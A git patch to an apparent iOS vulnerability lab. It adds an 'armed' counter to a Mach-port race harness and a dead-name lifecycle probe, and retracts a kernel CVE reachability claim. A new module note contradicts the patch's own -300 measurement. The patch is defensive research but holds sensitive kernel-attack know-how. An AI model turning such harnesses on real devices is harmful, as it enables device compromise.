From 6f4ed67c386296e6f3d931798aae7f427d540d5a Mon Sep 17 00:00:00 2001 From: JBJF Date: Sat, 31 Oct 2026 15:59:20 +0800 Subject: [PATCH] 112507 reachability closed: notification registration refused (-300) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - New kern.ipc.lifecycle module: dead-name registration, dead-name send, notification receive, name reuse — single-threaded, safe on device - Device receipt (iPhone19,7, iOS 27.0.1, ad-hoc signed): request DEAD_NAME returns -300 (MIG_TYPE_ERROR); send -> MACH_SEND_INVALID_DEST; receive times out; 0/12,288 registrations armed in kern.ipc - macOS 27 sweep: 13 notification-type/right combinations, all -300 - kern.ipc now counts armed registrations and retracts the old 'survived' verdict when armed == 0; the request table is never armed - docs/KERNEL-RW-ASSESSMENT.md: 112507 marked closed for this app - app 2.2 build 5; 57 modules --- CVE-2026-112507/CVE-2026-112507.c | 35 ++++++---- Info.plist | Bin 2206 -> 1248 bytes README.md | 8 ++- README.zh-CN.md | 8 ++- Sources/Catalog.swift | 19 +++--- Sources/Catalog4.swift | 39 +++++++++++ Sources/KernelIPC.swift | 106 +++++++++++++++++++++++++++--- Sources/ModuleText.swift | 11 +++- docs/KERNEL-RW-ASSESSMENT.md | 31 ++++++++- 9 files changed, 217 insertions(+), 40 deletions(-) diff --git a/CVE-2026-112507/CVE-2026-112507.c b/CVE-2026-112507/CVE-2026-112507.c index cc6a708..9c126f8 100644 --- a/CVE-2026-112507/CVE-2026-112507.c +++ b/CVE-2026-112507/CVE-2026-112507.c @@ -17,7 +17,7 @@ // ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ── typedef struct { - long operations, allocations, notifications, sends, deallocations; + long operations, allocations, notifications, sends, deallocations, armed; int budget_exhausted; long notifications_refused; long budget; @@ -50,10 +50,10 @@ static void record(kern_return_t kr) { // // Resource discipline: mod_refs with a negative delta against a zero send-ref count // does not return an error on this platform — it SIGKILLs the process. Check first. -typedef struct { long alloc, notify, send, dealloc; } ring_result; +typedef struct { long alloc, notify, send, dealloc, armed; } ring_result; static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) { - ring_result r = {0, 0, 0, 0}; + ring_result r = {0, 0, 0, 0, 0}; mach_port_name_t ports[512]; int nports = 0; if (depth > 512) depth = 512; @@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) kern_return_t kr1 = mach_port_request_notification( task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev); - if (kr1 != KERN_SUCCESS) { + if (kr1 == KERN_SUCCESS) { + r.armed++; + } else { record(kr1); - if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++; + (*refused)++; } if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1); r.notify++; @@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) kern_return_t kr2 = mach_port_request_notification( task, p, MACH_NOTIFY_DEAD_NAME, 0, p, (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2); - if (kr2 != KERN_SUCCESS) { + if (kr2 == KERN_SUCCESS) { + r.armed++; + } else { record(kr2); - if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++; + (*refused)++; } if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1); r.notify++; @@ -159,7 +163,7 @@ static int g_depth = 48; static void *worker(void *arg) { (void)arg; - long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0; + long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0; while (!past_deadline()) { pthread_mutex_lock(&S.lock); @@ -184,6 +188,7 @@ static void *worker(void *arg) { local_notify += res.notify; local_send += res.send; local_dealloc += res.dealloc; + local_armed += res.armed; local_ops += 4; pthread_mutex_lock(&S.lock); @@ -197,6 +202,7 @@ static void *worker(void *arg) { S.notifications += local_notify; S.sends += local_send; S.deallocations += local_dealloc; + S.armed += local_armed; pthread_mutex_unlock(&S.lock); return NULL; } @@ -246,8 +252,8 @@ int main(int argc, char **argv) { for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL); for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL); - printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n", - S.operations, S.allocations, S.notifications, S.sends, S.deallocations); + printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n", + S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed); if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n"); if (S.notifications_refused > 0) { printf("notifications refused %ld times — this platform does not allow notification\n" @@ -260,7 +266,14 @@ int main(int argc, char **argv) { printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]); } } - printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n"); + if (S.armed == 0 && S.notifications > 0) { + printf("notification registration never succeeded (-300, MIG type error).\n"); + printf("the request-table path was never armed: this run is not a 112507 test.\n"); + printf("CVE-2026-112507 · NOT REACHED from this process\n"); + } else { + printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, " + "no request-table fault surfaced\n", S.armed); + } pthread_mutex_destroy(&S.lock); return 0; } diff --git a/Info.plist b/Info.plist index e61934187c90b8bd656efb708842fd85758cb7c6..b51511b20162d75077f27111e2547cce516bf4a3 100644 GIT binary patch literal 1248 zcmaiy%WvF79LMdM6jC1Tq-k2xbVHv|$Y$9tO+w3~O5#Md*z7JlYY0-QHL+)Rr?tn^ znK9`G@erq8`2%`LRPkSM?4?|&1V@C#i31WR9^wMytQ`ufs4qXw@Av(^K0j}Wh$&sI z{(z=z07v#c@#N_Kr=EW1*#igB*rD;m6Gx6dH+gL8c&Rk~{E5=(GiP5s_tMKVb({8B!hJNp7h_69WY8cn_0gfiyK;*LsU{oI z!%jCe1z49+>7!Diba^*%SfEW+A_wnMsdnp66!Cfzkce%OOrWk7-eJ4FAzCE3L3*?^ z5T@U;LWKK?)Okg$CF8w^gQ*ZEOv6@0bT^T)^3lN}Gf%qabc*P(;n+WpT=Krt!Oq*m zXvyv1MIk&zRU_dBK`itN59B~(!y7tv+@?2ECaH2;{e;sd_R+~Y#=}umQ&4V(bdn&= zP%D?4?t$3|tufBxG;ZQOK1Ui^tBxdGWouxATQWT`3wo{zL@d}Ph6Bp!8sV%Y= z=8`O+t0ZQT(H{2PRTfd)CmEa-p4}@nsyaz|(8qzK)Qo-HbMvvoVfr!=WP?RaGisnA z&&8VPR4oyS^&q?W3F9j8x?EG)HET2_GfNHc=%cfblYGJi3B9epzuZ_~W;~>_w&0_& zAc-s2H?DUpLGHuzmFmvPQ}1o{XRjC-ZOS`~tyUe^Dz)tw)>+Q^ow;=;GUSQs)D|k$ ztHmpOjPCE8H|D`BWgi_iT%#!2RJ;FOgX+yh-Y{?;oS*U0>3_4$&$gCEnhAq3W36^x zy?|^4zS&;zh>Yhin3Dem~uEgzlxf0ZW`3#pTA znq!#}A62kUc&Gv*Xq|SokIpiEwnnW*>jO(!x2-$YSJrpdkJcadgk7^88{0km zru~KerG4N2-u?}YgHzxlxB_}$3)}(sz}Mhg@DunM`~rRle}catg!|wDh~OlghBL4X wXJHM_!6t0OTks?JG5i#M20w?l;SRhD@4@@<*O4h}_XGCOT9>(t5IsA;f^xS>Je{P|AKJXT}R~fhoB*F9zqP0VJjgCW~t`3a9-q=FRBL{^ZQZ;ZJ{JunY@n z_|cu`jt#SKS+|U3U|CM+7{2EQp`qTetjWwY%%zmEhaCaPGRV&L7JikHFD<5N0_ z-%0M0lsbwH)i2`ZkImS+uU!t#j}`CH7-jek=?6rEL!2W`U5mT^H>3j^_L?hDL^r3l zRYP}X^FOruD1Jr@2urrd>#gs5?WFBB2$qz~iico5_@=9>%HiPRD7auu!6ET8BvZ=s z6O>?oNeRq@_FIR$KQfiiZKQ6&3G1|n_`*!*qwN{2Io_g<Q6|8u)#(Kf@Vmeqgxl~{$x`y79T#l47jp(g$fl~~JU z269FDvns9*?%7Q>R@;*zSDPS?*Rl#?AaIWePC>{TSzFj9&2D@}#C?%TtW0u^Zx*p< zZwc4x&i`+mW zS%^Et16l5SarfSV6e)tc8dPDm2e^tao~qTGbF3EeJ&TOoLjYf`7)N*~&tBmtGycI0 zZOPuF<-=(k!#<6On7|1*bk(-?cd#BJiHH#c57Kt0AB8>O#j=fSw$H9M+_u*L14d_m E0n&i&q5uE@ diff --git a/README.md b/README.md index 6f9d93e..6027d71 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [中文](README.zh-CN.md) -An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). +An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing. @@ -131,11 +131,11 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator) python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) ``` -Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. +Device install: bundle id `com.jbjf.cinder27` (v2.2 build 5), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. ## Verification status -Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap. +Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap. Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. @@ -143,6 +143,8 @@ All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W. +112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). + ## Module semantics - **tier 1** — direct primitive hit (OOB write / UAF / type confusion); the crash is the evidence diff --git a/README.zh-CN.md b/README.zh-CN.md index 77e0a1c..593c108 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -2,7 +2,7 @@ [English](README.md) -iOS 17.0–27.1 漏洞验证与设备修改工具链,**56 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 +iOS 17.0–27.1 漏洞验证与设备修改工具链,**57 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。 @@ -130,11 +130,11 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器 python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) ``` -设备安装:bundle id `com.jbjf.cinder27`(v2.1 build 4),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 +设备安装:bundle id `com.jbjf.cinder27`(v2.2 build 5),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 ## 验证状态 -56 模块全量回归(模拟器构建):**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。 +57 模块全量回归(模拟器构建):**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。 armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 @@ -142,6 +142,8 @@ armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃 高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。 +112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。 + ## 模块语义 - **tier 1** — 直接原语命中(OOB 写 / UAF / 类型混淆),崩溃即证据 diff --git a/Sources/Catalog.swift b/Sources/Catalog.swift index bde5ac4..b450ee4 100644 --- a/Sources/Catalog.swift +++ b/Sources/Catalog.swift @@ -413,28 +413,27 @@ enum Catalog { reach: .kernel, tier: 2, summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。", - notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。", + notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。", run: { ctx in let baseline = KernelIPC.baseline() ctx.arm("kern.ipc", "race 6s") let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48) - ctx.disarm("kern.ipc", "ops=\(stats.operations)") + ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)") var lines = [stats.summary, ""] lines.append(tl("— 基线 —")) for (k, v) in baseline.sorted(by: { $0.key < $1.key }) { lines.append("\(k): \(v)") } - if stats.notificationsRefused > 0 { + if stats.armed == 0 && stats.notifications > 0 { lines.append("") - lines.append(tl("— 平台限制 —")) - lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。")) - lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。")) - lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,")) - lines.append(tl("验证了名称空间的分配/拆除路径本身可用。")) + lines.append(tl("— 可达性判定 —")) + lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。")) + lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。")) + lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。")) } let headline: String - if stats.notificationsRefused > 0 { - headline = tl("分配/拆除路径可用,通知武装被平台拒绝") + if stats.armed == 0 && stats.notifications > 0 { + headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)") } else if !stats.kernelErrors.isEmpty { headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码") } else { diff --git a/Sources/Catalog4.swift b/Sources/Catalog4.swift index b6154d6..ff25f3d 100644 --- a/Sources/Catalog4.swift +++ b/Sources/Catalog4.swift @@ -234,6 +234,45 @@ extension Catalog { evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")]) }), + + // ── CVE-2026-112507 · port lifecycle baseline ─────────────────────── + ExploitModule( + id: "kern.ipc.lifecycle", + titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)", + cve: "CVE-2026-112507", + component: "XNU · ipc_port request table", + primitive: .probe, + reach: .kernel, + tier: 3, + summaryZh: """ + 单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。 + """, + notesZh: """ + 这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。 + """, + run: { ctx in + ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle") + let r = KernelIPC.lifecycle() + ctx.disarm("kern.ipc.lifecycle", + "dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | ")) + let head: String + if r.requestKR != KERN_SUCCESS { + head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装") + } else if r.deadName && r.reused { + head = tl("dead-name 送达 · 名字被复用") + } else if r.deadName { + head = tl("dead-name 送达 · 名字未复用") + } else { + head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序") + } + return ModuleOutcome( + headline: head, + detail: r.lines.joined(separator: "\n"), + evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"), + tl("dead-name 消息 id = 0x40000002"), + tl("复用只记录,不构成本身结论")]) + }), + // ── CVE-2026-84636 · SCDynamicStore without wifi-info ─────────────── ExploitModule( id: "sc.dynamicstore", diff --git a/Sources/KernelIPC.swift b/Sources/KernelIPC.swift index 3e8ad89..dc340d0 100644 --- a/Sources/KernelIPC.swift +++ b/Sources/KernelIPC.swift @@ -40,15 +40,20 @@ enum KernelIPC { var deallocations: Int = 0 var budgetExhausted = false var notificationsRefused = 0 + /// Registrations that actually succeeded. Zero means the request-table path was + /// never armed, so the run says nothing about 112507. + var armed = 0 var kernelErrors: [String: Int] = [:] var summary: String { var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) " s += "send=\(sends) dealloc=\(deallocations)" if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") } - if notificationsRefused > 0 { - s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,") - s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。") + if armed == 0 && notifications > 0 { + s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。") + s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。") + } else if notificationsRefused > 0 { + s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。") } if !kernelErrors.isEmpty { s += "\n" + kernelErrors.sorted { $0.value > $1.value } @@ -82,8 +87,8 @@ enum KernelIPC { /// send into the survivors, then release everything. Returns the counters it produced. private static func ring(task: mach_port_t, depth: Int, budget: inout Int, refused: inout Int, - record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) { - var alloc = 0, notify = 0, send = 0, dealloc = 0 + record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) { + var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0 var ports: [mach_port_name_t] = [] ports.reserveCapacity(depth) @@ -109,7 +114,7 @@ enum KernelIPC { let kr1 = mach_port_request_notification( task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev) - if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } } + if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 } if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) } notify += 1 @@ -117,7 +122,7 @@ enum KernelIPC { let kr2 = mach_port_request_notification( task, p, MACH_NOTIFY_DEAD_NAME, 0, p, mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2) - if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } } + if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 } if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) } notify += 1 } @@ -164,7 +169,7 @@ enum KernelIPC { } dealloc += 1 } - return (alloc, notify, send, dealloc) + return (alloc, notify, send, dealloc, armed) } /// Drive the interleaving for `seconds`, with a bounded number of workers and a hard @@ -184,7 +189,7 @@ enum KernelIPC { } DispatchQueue.concurrentPerform(iterations: workers) { _ in - var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0 + var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0 while Date() < deadline { lock.lock() @@ -205,6 +210,7 @@ enum KernelIPC { localNotify += result.notify localSend += result.send localDealloc += result.dealloc + localArmed += result.armed localOps += 4 lock.lock() @@ -218,6 +224,7 @@ enum KernelIPC { stats.notifications += localNotify stats.sends += localSend stats.deallocations += localDealloc + stats.armed += localArmed lock.unlock() } @@ -255,4 +262,85 @@ enum KernelIPC { out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)" return out } + + /// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the + /// receive right while the send right survives, send into the dead name, then receive + /// the notification. No race, no frees of live request-table entries — this is the + /// sequence the 112507 race has to stay correct through. + /// + /// The second half frees the dead name and measures whether the kernel hands the same + /// numeric name back to the next allocation. Name reuse is normal; the point is to + /// record the baseline before the racer starts churning the namespace. + static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) { + var lines: [String] = [] + let task = mach_task_self_ + var deadName = false + var reused = false + + var notify: mach_port_t = 0 + var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, ¬ify) + lines.append("notify_port alloc: \(name(kr)) name=\(notify)") + guard kr == KERN_SUCCESS else { return (lines, false, false, kr) } + + var target: mach_port_t = 0 + kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target) + lines.append("target receive: \(name(kr)) name=\(target)") + guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) } + + kr = mach_port_insert_right(task, target, target, + mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND)) + lines.append("insert send right: \(name(kr))") + + var prev: mach_port_t = 0 + let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify, + mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev) + kr = requestKR + lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)") + if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) } + + kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1) + lines.append("drop receive right: \(name(kr))") + + var hdr = mach_msg_header_t() + hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND) + hdr.msgh_size = mach_msg_size_t(MemoryLayout.size) + hdr.msgh_remote_port = target + hdr.msgh_local_port = 0 + hdr.msgh_id = 0 + kr = mach_msg_send(&hdr) + lines.append("send to dead name: \(name(kr))") + + // DEAD_NAME fires when the last send right is released, not when the receive + // right is dropped. Release it before waiting, otherwise the receive always + // times out and the baseline records a false negative. + kr = mach_port_deallocate(task, target) + lines.append("release last send right: \(name(kr))") + + var buffer = [UInt8](repeating: 0, count: 256) + kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in + let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self) + return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT), + 0, mach_msg_size_t(raw.count), notify, 200, 0) + } + lines.append("receive notification: \(name(kr))") + if kr == KERN_SUCCESS { + let got = buffer.withUnsafeBytes { + $0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee + } + deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME + lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)") + } + + for _ in 0..<64 { + var p: mach_port_t = 0 + if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS { + if p == target { reused = true; mach_port_destroy(task, p); break } + mach_port_destroy(task, p) + } + } + lines.append("name reuse of \(target): \(reused ? "yes" : "no")") + + mach_port_destroy(task, notify) + return (lines, deadName, reused, requestKR) + } } diff --git a/Sources/ModuleText.swift b/Sources/ModuleText.swift index 2cfbe71..c0a5e9a 100644 --- a/Sources/ModuleText.swift +++ b/Sources/ModuleText.swift @@ -196,7 +196,7 @@ enum ModuleText { iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send. """, notes: """ - The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index. + The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion. """), "kern.decmpfs": Row( @@ -550,6 +550,15 @@ enum ModuleText { This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved. """), + "kern.ipc.lifecycle": Row( + title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)", + summary: """ + A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries. + """, + notes: """ + This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it. + """), + "sc.dynamicstore": Row( title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)", summary: """ diff --git a/docs/KERNEL-RW-ASSESSMENT.md b/docs/KERNEL-RW-ASSESSMENT.md index 4ddcdcc..3b9251f 100644 --- a/docs/KERNEL-RW-ASSESSMENT.md +++ 